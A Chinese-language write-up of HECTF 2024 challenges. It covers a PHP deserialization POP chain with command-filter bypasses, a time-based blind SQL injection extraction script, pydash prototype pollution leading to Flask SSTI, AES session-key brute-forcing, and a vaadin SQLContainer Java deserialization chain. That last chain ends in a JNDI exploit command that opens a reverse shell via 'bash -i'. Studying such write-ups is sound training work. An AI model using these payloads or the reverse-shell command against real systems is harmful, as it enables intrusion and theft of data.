(这里写目录标题)
本来想整理下所有的 wp 的,结果最后发现好多都不会,别的不会的抄 wp 的话似乎也就只有抄大佬们交上来的 wp,不大好,所以最后只写了部分 wp,剩下等到学长们把官方 wp 传上去再整理。

# WP:

# Web:

# Are you happy?:

​ game.js 里找,flag 在里面,根据 flag 的格式,flag 开头是 HECTF,将这个字段 base64 编码下,然后就可以搜索了。

# baby_unserialize:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
 <?php
error_reporting(0);

show_source(__FILE__);
echo "flag in /flag</br>";

class User{
public $name;
public $passwd;
public $msg;
public $token = "guest";
public function __construct($name,$passwd){
$this->name = $name;
$this->passwd = $passwd;
}

public function __wakeup(){
$this->token = "guest";
}

public function __destruct(){
if(!$this->check()){
exit(0);
}else{
echo $this->msg;
}
}

public function check(){
if ($this->token === "admin"){
return true;
}else{
return false;
}
}

}

class class00{
public function __call($a,$b){
return 1;
}
public function __set($a, $b){
$b();
}

}


class class01{
public $temp = 0;
public $str3;
public $cls;

public function __tostring(){
$this->temp = $this->cls->func1();
if ($this->temp === 1){
$this->cls->str1 = $this->str3;
}else{
echo "0";
return "0";
}

return "have fun";
}
}

class class02{
public $payload;
public function __invoke(){
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|;|date|bash|\$|\x00|`|env|\?|wget|\"|\'|\\\|php|id|whoami|=/i', $this->payload)) {
system($this->payload." >/dev/null 2>&1");
}else{
die("fuck you Hacker");
}
}
}

if (isset($_POST["user"])){
$user = unserialize(base64_decode($_POST["user"]));
}else{
exit();
}
flag in /flag

​ 首先是从有 system 的函数开始看,首先就是需要有能够触发 class02 __involk 的地方,这里就需要找到其他的动态函数调用的点,在 class00 的 __set 处找到了,之后在 class01 的 __tostring 里找到了,也就是 $this->cls->str1 = $this->str3; ,不过,这里需要将 cls 修改成 class00 才行,之后再往上,有个比较, if ($this->temp === 1) 这里需要想办法让表达式为 True,刚好,class00 里面的 __call 可以返回 1,并且 $this->temp = $this->cls->func1(); 调用了 cls 里面不存在的方法;之后往回看,我们的目的是找到 wakeup 或者 destruct 等等魔术方法,所以还得继续找, __tostring 能够触发的点,看到 User 类,里面找到了 echo $this->msg; 这里的 msg 是可控的,刚好,可以用来输出操作,也就是把类当作字符串操作,之后就是想办法绕过 check 函数即可,绕过 __wakeup 即可打出组合拳:

​ 首先是获得前置 payload,也就是序列化链子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
class User{
public $name;
public $passwd;
public $token;
public $msg;

public function __construct($name,$passwd){
$this->name = $name;
$this->passwd = $passwd;
}
}

class class00{
public function __call($a,$b){
return 1;
}
public function __set($a, $b){
$this->$b();
}
}


class class01{
public $temp = 0;
public $str3;
public $cls;

}

class class02{
public $payload;
}

$a = new User("admin","123456");
$a->token = "admin";
$a->msg = new class01();
$a->msg->cls = new class00();
$a->msg->str3 = new class02();
$a->msg->str3->payload = "payload";

echo serialize($a);


//O:4:"User":4:{s:4:"name";s:5:"admin";s:6:"passwd";s:6:"123456";s:5:"token";s:5:"admin";s:3:"msg";O:7:"class01":3:{s:4:"temp";i:0;s:4:"str3";O:7:"class02":1:{s:7:"payload";s:7:"payload";}s:3:"cls";O:7:"class00":0:{}}}

​ 之后,通过信息搜集,发现了 PHP 版本是 5.4,存在成员个数不同绕过 __wakeup 的方法,可以直接干,将上面的 payload 修改一下,然后 base64 编码即可:

1
2
3
//O:4:"User":6:{s:4:"name";s:5:"admin";s:6:"passwd";s:6:"123456";s:5:"token";s:5:"admin";s:3:"msg";O:7:"class01":3:{s:4:"temp";i:0;s:4:"str3";O:7:"class02":1:{s:7:"payload";s:7:"payload";}s:3:"cls";O:7:"class00":0:{}}}

//Ly9POjQ6IlVzZXIiOjY6e3M6NDoibmFtZSI7czo1OiJhZG1pbiI7czo2OiJwYXNzd2QiO3M6NjoiMTIzNDU2IjtzOjU6InRva2VuIjtzOjU6ImFkbWluIjtzOjM6Im1zZyI7Tzo3OiJjbGFzczAxIjozOntzOjQ6InRlbXAiO2k6MDtzOjQ6InN0cjMiO086NzoiY2xhc3MwMiI6MTp7czo3OiJwYXlsb2FkIjtzOjc6InBheWxvYWQiO31zOjM6ImNscyI7Tzo3OiJjbGFzczAwIjowOnt9fX0=

​ 好了,之后就是读取 flag 了:

1
2
3
4
5
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|;|date|bash|\$|\x00|`|env|\?|wget|\"|\'|\\\|php|id|whoami|=/i', $this->payload)) { 
system($this->payload." >/dev/null 2>&1");
}else{
die("fuck you Hacker");
}

​ 没有过滤空格,还算好(主要是因为这里不知道为啥我用一些手法绕不过空格,我就没有管了,毕竟 $ 没了,多个重定向符也有问题,过不了 /dev/null),寻常的 ls,dir 都被过滤了,大小于符号和中括号没有过,通配符过滤了,反斜杠也过滤了,那就用中括号和文件名来绕过吧,先来一波:

1
2
3
4
5
//payload:/bin/l[s] ||

//O:4:"User":6:{s:4:"name";s:5:"admin";s:6:"passwd";s:6:"123456";s:5:"token";s:5:"admin";s:3:"msg";O:7:"class01":3:{s:4:"temp";i:0;s:4:"str3";O:7:"class02":1:{s:7:"payload";s:12:"/bin/l[s] ||";}s:3:"cls";O:7:"class00":0:{}}}

//Tzo0OiJVc2VyIjo2OntzOjQ6Im5hbWUiO3M6NToiYWRtaW4iO3M6NjoicGFzc3dkIjtzOjY6IjEyMzQ1NiI7czo1OiJ0b2tlbiI7czo1OiJhZG1pbiI7czozOiJtc2ciO086NzoiY2xhc3MwMSI6Mzp7czo0OiJ0ZW1wIjtpOjA7czo0OiJzdHIzIjtPOjc6ImNsYXNzMDIiOjE6e3M6NzoicGF5bG9hZCI7czoxMjoiL2Jpbi9sW3NdIHx8Ijt9czozOiJjbHMiO086NzoiY2xhc3MwMCI6MDp7fX19

​ 成功打出组合拳,这里存在一个无回显的一个绕过,需要用 || 来绕过 >/dev/null 2>&1 ,原理就是让这一串单独执行或者不执行即可。

​ 之后就是读取 flag 了:

1
2
3
4
5
///bin/ca[t] /fla[g] ||

//O:4:"User":6:{s:4:"name";s:5:"admin";s:6:"passwd";s:6:"123456";s:5:"token";s:5:"admin";s:3:"msg";O:7:"class01":3:{s:4:"temp";i:0;s:4:"str3";O:7:"class02":1:{s:7:"payload";s:21:"/bin/ca[t] /fla[g] ||";}s:3:"cls";O:7:"class00":0:{}}}

//Tzo0OiJVc2VyIjo2OntzOjQ6Im5hbWUiO3M6NToiYWRtaW4iO3M6NjoicGFzc3dkIjtzOjY6IjEyMzQ1NiI7czo1OiJ0b2tlbiI7czo1OiJhZG1pbiI7czozOiJtc2ciO086NzoiY2xhc3MwMSI6Mzp7czo0OiJ0ZW1wIjtpOjA7czo0OiJzdHIzIjtPOjc6ImNsYXNzMDIiOjE6e3M6NzoicGF5bG9hZCI7czoyMToiL2Jpbi9jYVt0XSAvZmxhW2ddIHx8Ijt9czozOiJjbHMiO086NzoiY2xhc3MwMCI6MDp7fX19Cg==

​ 之后读取源码找到了 flag

# baby_sql:

# 非预期:

​ index 页面的 password 存在 sql 注入,本来想出弱密码的,结果没注意到这里也能打注入,被 sqlmap 一把梭了。

​ 首先万能密码登陆之后,用 group by 确定字段数,接着这里 可以用 loadfile 来快速出 flag。当然,这是建立在 flag 的文件 确实在根目录并且名字确实是 flag,而且存在其他限制,成 功逃课的可能性并不是很大,这里因为同时存在两个原因导致了非预期,一是因为题目部署到平台的时候有个参数忘记删了,这个参数导致了 flag 会被写入 /flag,另外,题目测试的时候,var_dump 我忘记删了,会把信息给一同打印出来,就导致了这个题有回显,我的锅啊。

payload:-1'/**/union/**/select/**/1,1,load_file('/flag')#

# 预期解

​ 首先,index 是一个登陆框,排除弱密码的可能,别问为什么,因为爆不出来,直接考虑万能密码,根据密码是存在字符和字母数字的,所以预测为字符型,直接 1' or 1=1# 即可

​ 第二页有个莫名其妙的报错,不管。

​ 拿到这个题的第一时间 fuzz 一下过滤,先做几个尝试,首先,我没捣鼓过这个题能否做布尔盲注,所以直接上时间盲注的手法。随便写入一些,触发过滤,发现有异常输出,也就是 NO,Hacker,好了,可以跑字典了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from requests import post

lst = ["select",
"update",
"from",
"where",
"union",
"like",
"and",
"delete",
"drop",
"insert",
"join",
"hex",
"or",
"if",
"xor",
"not",
"table_name",
"CHAR",
"group_concat",
"information",
"schema",
"columns",
"regexp",
"greatest",
"ascii",
"substr",
"strcmp",
"in",
"between",
"database",
"offset",
"limit",
"sleep",
"benchmark",
"bin",
"mid",
"substring",
"updatexml",
" ",
"--",
"\'",
"\"",
"()",
"-",
"+",
"#",
"*",
"/",
"!",
",",
"`",
"&",
"|",
";",
"^",
"%",
"@",
"=",
"<",
">"]

temp = "NO,Hacker"
a = []
for i in lst:
url = "http://127.0.0.1/worker.php"
data = {"name":i}
rsp = post(url, data=data)
if temp in rsp.text:
a.append(i)
print(a)

#['update', 'delete', 'drop', 'insert', 'join', 'hex', 'CHAR', 'information', 'updatexml', ' ', '--', '=', '<', '>']

​ 最后跑出来和我预计的差不多,然后因为又是可以输入字符等等,推测还是字符型注入,随机构造一下 payload 看看能否成功:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from requests import post

url = "http://154.64.254.169:33161/worker.php"

payload = "111'/**/or/**/if((select/**/database())/**/like/**/database(),sleep(5),sleep(0))#"

data = {"name":payload}

def istime(data):
try:
resp = post(url,data=data,timeout=5)
return "not"
except:
return "timeout"

print(istime(data))

#timeout

​ 可以盲注,因为过滤了 infomation,所以需要用 innodb 来绕过,先跑,直接梭哈(脚本每次的时间会很长,这个是为了保证正确率,因为远程测试的时候出现了服务器扛不住的情况,所以,需要增加等待时长来防止服务器宕机):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
#测试的时候服务器有点问题,爆破的时候总是要出问题,建议每一个函数多跑几次保证成功率,或者每次多修改一些time和sleep的时长保证正确率
from requests import post
import string
import time

alpha = """{_}[]-""" + string.ascii_letters + string.digits
url = "http://154.64.254.169:33113/worker.php"

def istime(data):
try:
resp = post(url,data=data,timeout=20)
return "not"
except:
return "timeout"


# 数据库长度为:7
def db_name_len():
i = 1
while True:
payload = "g01den'/**/or/**/if((select/**/length(database()))/**/like/**/{},sleep(20),sleep(0))#".format(i)
data = {"name":payload}
# print(payload)
time.sleep(0.3)
if istime(data) == "timeout":
print("数据库长度为:%d"%i)
return i
i += 1


#数据库名为greatsql
def db_name():
name = ""
for i in range(1,8):
for j in alpha:
payload = "g01den'/**/Or/**/if(substr(database(),{},1)/**/like/**/'{}',sLeep(20),sLeep(0))#".format(i,j)
data = {"name": payload}
time.sleep(0.3)
if istime(data) == "timeout":
name += j
break
print("数据库的名字是"+name)
return name


# 数据库的个数为4
def db_name_count():
i = 1
while True:
payload = "g01den'/**/Or/**/if((seLect/**/COUNT(database_name)/**/fRom/**/mysql.innodb_table_stats)/**/like/**/{},sLeep(20),sLeep(0))#".format(i)
data = {"name": payload}
# print(payload)
time.sleep(0.3)
if istime(data) == "timeout":
print("数据库的个数为"+str(i))
return i
i += 1


# [10, 5, 5, 7]
def db_name_len_list():
name_len_list = []
for i in range(0,4):
for j in range(0,100):
payload = "g01den'/**/Or/**/if((select/**/length(database_name)/**/from/**/mysql.innodb_table_stats/**/limit/**/{},1)/**/like/**/{},sleep(20),sleep(0))#".format(i,j)
data = {"name": payload}
# print(payload)
time.sleep(0.3)
if istime(data) == "timeout":
name_len_list.append(j)
break
print(name_len_list)
return name_len_list

# 上一个查询结果为四次,所以手动查四次,没跑完一次,修改limit后面的参数,以及第一层for循环的参数
# flag1shere
# mysql
# users
# workers
def db_name_list():
name = ""
for i in range(1,8):
for j in alpha:
payload = "g01den'/**/Or/**/if((select/**/substr(database_name,{},1)/**/from/**/mysql.innodb_table_stats/**/limit/**/3,1)/**/like/**/'{}',sLeep(20),sLeep(0))#".format(i,j)
data = {"name": payload}
# print(payload)
time.sleep(0.3)
if istime(data) == "timeout":
name += j
time.sleep(2)
break
print(name)
return name

# 当前数据库的表有2
def tb_count():
i = 1
while True:
payload = "g01den'/**/Or/**/if((select/**/count(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name/**/like/**/'flag1shere')/**/like/**/{},sleep(20),sLeep(0))#".format(i)
data = {"name": payload}
# print(payload)
time.sleep(0.3)
if istime(data) == "timeout":
print("当前数据库的表有"+str(i))
return i
i += 1

# 因为测出来有两个表,所以需要查两次
# 当前数据库表名长度为36
# 当前数据库表名长度为8
def tb_name_len():
i = 0
while True:
payload = "g01den'/**/Or/**/if((select/**/length(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name/**/like/**/'flag1shere'/**/limit/**/0,1)/**/like/**/{},sleep(20),sLeep(0))#".format(i)
data = {"name": payload}
# print(payload)
time.sleep(0.5)
if istime(data) == "timeout":
print("当前数据库表名长度为" + str(i))
return i
i += 1


# 因为存在两张表,所以得查两次
# flag_is_in_flag1shere_loockhere_flag
# flag
def tb_name():
name = ""
for i in range(1,37):
for j in alpha:
payload = "g01den'/**/Or/**/if((select/**/substr(table_name,{},1)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name/**/like/**/'flag1shere'/**/limit/**/0,1)/**/in/**/('{}'),sleep(20),sleep(0))#".format(i,j)
data = {"name": payload}
# print(payload)
time.sleep(0.5)
if istime(data) == "timeout":
print(j,end="")
name += j
break
print(name)
return name

# 数据库的数据个数为1
def flag_count():
i = 1
while True:
payload = "g01den'/**/or/**/if((select/**/count(flag)/**/from/**/flag1shere.lookhere)/**/like/**/{},sleep(20),sleep(0))#".format(i)
data = {"name": payload}
time.sleep(0.3)
if istime(data) == "timeout":
print("数据库的数据个数为"+str(i))
return i
i += 1

# flag的长度为32
def flag_name_len():
i = 0
while True:
payload = "g01den'/**/or/**/if((select/**/length(flag)/**/from/**/flag1shere.lookhere)/**/like/**/{},sleep(20),sleep(0))#".format(i)
data = {"name": payload}
time.sleep(0.3)
if istime(data) == "timeout":
print("flag的长度为" + str(i))
return i
i += 1

# hectf{fl4g_1s_h5r5_n1ce_try_4_u}
def flag_get():
flag = ""
for i in range(1,34):
for j in alpha:
payload = "g01den'/**/or/**/if((select/**/substr(flag,{},1)/**/from/**/flag1shere.lookhere)/**/in/**/('{}'),sleep(20),sleep(0))#".format(i,j)
data = {"name": payload}
print(payload)
time.sleep(0.5)
if istime(data) == "timeout":
flag += j
print(flag)
break
print(flag)
return flag


# db_name_len()
# db_name()
# db_name_count()
# db_name_len_list()
# db_name_list()
# tb_count()
# tb_name_len()
# tb_name()
# flag_count()
# flag_name_len()
# flag_get()

​ 直接跑最后一个函数就可以得到 flag,但是时间会很长,其他的是为了让这个题有始有终,尽可能获得更多的数据。

# 你一个人专属的进货网站:

​ 看到 #pip install -v pydash==5.1.2 知是原型链污染。

​ admin 路由中存在 ssti,想进去需要伪造 session。setUserInfo 路由存在原型链污染,抓包改参数,先污染 key,之后污染 WAF 文件里的 blacklist,之后污染 user 对象里的 username 或者 setUserInfo 改名进行 ssti。

​ 这里贴一下大佬的 poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
url = '8.153.107.251:32109'
login_url = f'http://{url}/login'
setUserInfo_url = f'http://{url}/setUserInfo'
admin_url = f'http://{url}/admin'
username = "[[g.pop.__globals__.__builtins__.__import__('os').popen('cat /flag').read()]]"
password = "lbz"
login_data = {
'username': username,
'password': password
}
response0 = requests.post(login_url, data=login_data)
setUserInfo_data = {
'key': ".__init__.__globals__.app.config.SECRET_KEY",
'value': "123"
}
response1 = requests.post(setUserInfo_url, data=setUserInfo_data)
setUserInfo_data = {
'key': ".__init__.__globals__.app.jinja_env.variable_start_string",
'value': "[["
}
response2 = requests.post(setUserInfo_url, data=setUserInfo_data)
setUserInfo_data = {
'key': ".__init__.__globals__.app.jinja_env.variable_end_string",
'value': "]]"
}
response3 = requests.post(setUserInfo_url, data=setUserInfo_data)
setUserInfo_data = {
'key': ".__init__.__globals__.WAF.blacklist",
'value': "%"
}
response4 = requests.post(setUserInfo_url, data=setUserInfo_data)
session = input("Enter the session cookie: ")
cookies = {
'session': session
}
response5 = requests.get(admin_url, cookies=cookies)
print(response5.text)

​ session 伪造可以用 flask_session_cookie_manager 。

# ezweb

​ 查看源码,得到 base64 解密数据:

1
2
3
4
5
6
7
if($_GET['a'] != $_GET['b'] && md5($_GET['a']) == md5($_GET['b'])) {
if ($_GET['c'] != $_GET['d'] && md5($_GET['c']) === md5($_GET['d'])) {
if (isset($_GET['guess']) && md5($_GET['guess']) === 'aa476cf7143fe69c29b36e4d0a793604') { //xxxxx2024
highlight_file("secret.php");
}
}
}

​ 传入这个绕过前两层

?a[]=a&b[]=b&c[]=c&d[]=d

​ 之后的 guess 撞库获得 hECTf2024。得到 secret.php 文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
//mt_srand(rand(1e5,1e7));
//$key = rand();
//file_put_contents(*,$key);
function session_decrypt($session,$key){
$data = base64_decode($session);
$method = 'AES-256-CBC';
$iv_size = openssl_cipher_iv_length($method);
$iv = substr($data,0,$iv_size);
$enc = substr($data,$iv_size);
return openssl_decrypt($enc, $method, $key, 1, $iv);
}

​ 看出来加密算法,AES-256-CBC,key 为随机生成的,种子也是随机生成的,得爆破,贴个大佬的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
error_reporting(0);
for ($i = 100000; $i < 10000000; $i++) {
mt_srand($i);
$key = rand();
$session = "ja59o5qBBFlXzx7hHeauqrsXPoilxIhW%2F5Aq9CFdqF1kGFHBVjb7TvMlEfZwG5eBukjNbEQSV9VKTLuZevUwJuX2LZ7qc9lu22V%2B368YSXWwoHTWlM9XFUY9jWip3pUo";
$session = urldecode($session);
$result = session_decrypt($session, $key);
if ($result !== false and preg_match("/guest|admin/i", $result)) {
echo "
解密成功!解密后的数据
" . ($result) . "\n";
echo "Key:".$key."\n";
echo "srand:".$i."\n";
break;
}
}
function session_decrypt($session, $key)
{
$data = base64_decode($session);
$method = 'AES-256-CBC';
$iv_size = openssl_cipher_iv_length($method);
$iv = substr($data, 0, $iv_size);
$enc = substr($data, $iv_size);
return openssl_decrypt($enc, $method, $key, 1, $iv);
}

解密成功!解密后的数据
O:4:“User”:2:{s:8:“username”;s:5:“guest”;s:4:“role”;s:5:“guest”;}
Key:1728818262
srand:8168720

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$res=session_encrypt('O:4:"User":2:{s:8:"username";s:5:"guest";s:4:"role";s:5:"admin";}',1728818262);
function session_encrypt($data, $key) {
$method = 'AES-256-CBC';
$iv_size = openssl_cipher_iv_length($method);
$iv = openssl_random_pseudo_bytes($iv_size);
echo bin2hex($iv)."\n";
$encrypted = openssl_encrypt($data, $method, $key, 1, $iv);
echo bin2hex($encrypted)."\n";
$encoded = base64_encode($iv . $encrypted);
return $encoded;
}
echo $res;

#DWuzth9WfI2ufPUB5nI99CQuFk4nBqn8g3cvtJfSb5E4wnC+d4sICqt3hONji9RbclgNtgPZLkKQPSvO6e6INHudhIc9ofgj4GYs/6mZWx+jLaaqV+5jQLCvvGtfLLD2

​ 之后得到了 flag。

# ezjava:

​ 不会 java,所以先抄一遍学长的 wp,之后再学习下 (╥_╥)

​ 通过附件中的 jar 包可以看出有,CC3.2.1、vaadin 依赖,推测是用 vaadin 的链子。

​ 通过反编译 jar 包的 IndexController:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package com.example.easyjava.Controller;

import com.example.easyjava.challenge.MyObjectInputStream;
import com.example.easyjava.challenge.normal;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;

@Controller
/* loaded from: EZjava.jar:BOOT-INF/classes/com/example/easyjava/Controller/IndexController.class */
public class IndexController {
public static String string;

@GetMapping({"/"})
public String main() throws Exception {
return "redirect:/index.html";
}

@PostMapping({"/file"})
public String index(@RequestParam String data) throws Exception {
System.out.println(data);
if (data == null || data.equals("")) {
return "redirect:/error.html";
}
string = data;
deserialize(string); //这里存在反序列化
return "redirect:/index.html";
}

public Object deserialize(String base64data) {
try {
byte[] decode = Base64.getDecoder().decode(base64data.toString().replace("\r\n", ""));
String payload = new String(decode);
if (new normal(payload).blacklist(payload)) { //这里有黑名单
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(base64data.toString().replace("\r\n", "")));
ObjectInputStream ois = new MyObjectInputStream(byteArrayInputStream);
ois.readObject();
ois.close();
return ois;
}
return "redirect:/error.html";
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
}

​ 可以看到 /file 路由,直接把传入的 string 字符串反序列化,并且 string 是我们可控的,但是下面有黑名单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package com.example.easyjava.challenge;

import java.io.UnsupportedEncodingException;

/* loaded from: EZjava.jar:BOOT-INF/classes/com/example/easyjava/challenge/normal.class */
public class normal {
public normal(String data) throws UnsupportedEncodingException {
}

public boolean blacklist(String data) {
String[] blacklist = {"BadAttributeValueExpException", "Collections$UnmodifiableList", "PropertysetItem", "AbstractClientConnector", "Enum", "SQLContainer", "LinkedHashMap", "TableQuery", "AbstractTransactionalQuery", "J2EEConnectionPool", "DefaultSQLGenerator"};
for (String list : blacklist) {
if (data.contains(list)) {
return false;
}
}
return true;
}
}

​ 发现常用的 BadAttributeValueExpException

​ 后面这里重写了 ObjectInputStream 类,看一下 MyObjectInputStream 做了哪些过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package com.example.easyjava.challenge;

import java.io.IOException;
import java.io.InputStream;
import java.io.InvalidClassException;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;

/* loaded from: EZjava.jar:BOOT-INF/classes/com/example/easyjava/challenge/MyObjectInputStream.class */
public class MyObjectInputStream extends ObjectInputStream {
public MyObjectInputStream(InputStream in) throws IOException {
super(in);
}

@Override // java.io.ObjectInputStream
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
String className = desc.getName().toLowerCase();
String[] denyClasses = {"java.net.InetAddress", "org.apache.commons.collections.Transformer", "org.apache.commons.collections.functors", "C3P0", "Jackson", "NestedMethodProperty", "TemplatesImpl"};
for (String str : denyClasses) {
String denyClass = str.toLowerCase();
if (className.contains(denyClass)) {
throw new InvalidClassException("Unauthorized deserialization attempt", className);
}
}
return super.resolveClass(desc);
}
}

​ 到这里常用的 spring、jackson 的链子都打不通了,只能看关于 vaadin 依赖的链子,网上公开的是 NestedMethodProperty 和 SQLContainer 这俩条链子,但是在 resolveClass 中 NestedMethodProperty 类在黑名单中无法使用

​ 所以可以确定用 SQLContainer 链子,blacklist 黑名单的内容这里直接可以用 utf-8 编码来绕即可(网上的 SQLContainer 不太完整,需要手动本地调试一下),本题是出网的直接用 JDBCConnectionPool 类打 JNDI 注入即可

JDBCConnectionPool#reserveConnection

​ getConnection

​ TableQuery# beginTransaction

​ TableQuery#containsRowWithkey

​ containsId (item 可控,item.getId 值 ==TableQuery)

​ getValue ----- 这一层,item == sqlcontainer

​ toString

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package com.example.Utils;

import com.example.Utils.ReflectionUtil;
import com.example.Utils.SerializeUtil;
import com.utf.CustomObjectOutputStream;
import com.vaadin.data.util.PropertysetItem;
import com.vaadin.data.util.sqlcontainer.CacheMap;
import com.vaadin.data.util.sqlcontainer.RowId;
import com.vaadin.data.util.sqlcontainer.RowItem;
import com.vaadin.data.util.sqlcontainer.SQLContainer;
import com.vaadin.data.util.sqlcontainer.connection.J2EEConnectionPool;
import com.vaadin.data.util.sqlcontainer.query.QueryDelegate;
import com.vaadin.data.util.sqlcontainer.query.TableQuery;
import com.vaadin.data.util.sqlcontainer.query.generator.DefaultSQLGenerator;
import com.vaadin.ui.ListSelect;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.util.ArrayList;
import java.util.Base64;

public class test {
public static String string="";
public static void main(String[] args) throws Exception {
J2EEConnectionPool pool = new J2EEConnectionPool("ldap://");
TableQuery tableQuery = (TableQuery)
ReflectionUtil.createWithoutConstructor(Class.forName("com.vaadin.data.util.sqlconta
iner.query.TableQuery"));
ReflectionUtil.setField(tableQuery, "primaryKeyColumns", new ArrayList<>());
ReflectionUtil.setField(tableQuery, "fullTableName", "test");
ReflectionUtil.setField(tableQuery, "sqlGenerator", new
DefaultSQLGenerator());
ReflectionUtil.setField(tableQuery, "connectionPool", pool);
ListSelect listSelect = new ListSelect();
SQLContainer sql = (SQLContainer)
ReflectionUtil.createObject("com.vaadin.data.util.sqlcontainer.SQLContainer", new
Class[]{}, new Object[]{});
ReflectionUtil.setField(sql, "queryDelegate", tableQuery);
ReflectionUtil.setField(sql,"cachedItems",new CacheMap<>());
RowId id = new RowId("id");
ReflectionUtil.setField(listSelect, "value", id);
ReflectionUtil.setField(listSelect, "multiSelect", true);
ReflectionUtil.setField(listSelect, "items", sql);
PropertysetItem propertysetItem = new PropertysetItem();
propertysetItem.addItemProperty("key", listSelect);
BadAttributeValueExpException bad = new BadAttributeValueExpException(0);
ReflectionUtil.setField(bad, "val", propertysetItem);
serialize2(bad);
}
public static void serialize2(Object obj) throws Exception {
CustomObjectOutputStream oos = new CustomObjectOutputStream(new
FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
}

​ CustomObjectOutputStream 类是网上公开的 utf-8 编码绕过(网上的有的没有对数字进行编码会导致报错, 可参考 P 神的文章 https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html 用 python 脚 本生成即可)

​ 在 vps 上开启一个恶意的服务器:

1
java -jar JNDI-Injection-Exploit-Plus-2.4-SNAPSHOT-all.jar -C "bash -c {echo,}| {base64,-d}|{bash,-i}"

​ 开启反弹 shell 监听的端口,最后在根目录获取 flag

在这里插入图片描述

# Misc:

# 简单的压缩包:

​ 打开之后有个 Re,打开发现是一个正则表达式:

1
^([a-z]){2}\d\d([^a-z])$

​ 前面两个是字符,第三四个是数字,第五个不是小写字母,根据这个生成个字典:

1
2
3
4
5
6
7
8
9
10
11
str_12 = "abcdefghijklmnopqrstuvwxyz"
digit = "0123456789"
str_4 = """ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$&'()*+,-./:;<=>?@[\]^_`{|}~"""
with open("dict.txt","w") as f:
for i in str_12:
for j in str_12:
for k in digit:
for m in digit:
for n in str_4:
dic =i+j+k+m
f.write(dic+"\n")

​ 之后拿着这个去爆破,爆破到密码,不过这里非预期了,竟然可以用明文攻击,师傅们简直太强了,不过这里因为失去某些信息导致爆破难度增大也是我的锅:

1
np76_

​ 之后就是 png,winhex 发现藏了有文件,foremost 分离,分离后看到了个 py 文件和一个压缩包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import binascii

def encrypt(key,iv):
data = content
cipher1 = AES.new(key, AES.MODE_CBC, iv)
ct = cipher1.encrypt(pad(data, 16))
ct_hex = binascii.b2a_hex(ct)
return ct_hex

with open("oringe.zip","rb") as f:
content = f.read()

key = b"abcdefghijklmnop"
iv = b"qwertyuiopasdfgh"

en = encrypt(key,iv)
with open("zip2.zip","wb") as f:
f.write(en)

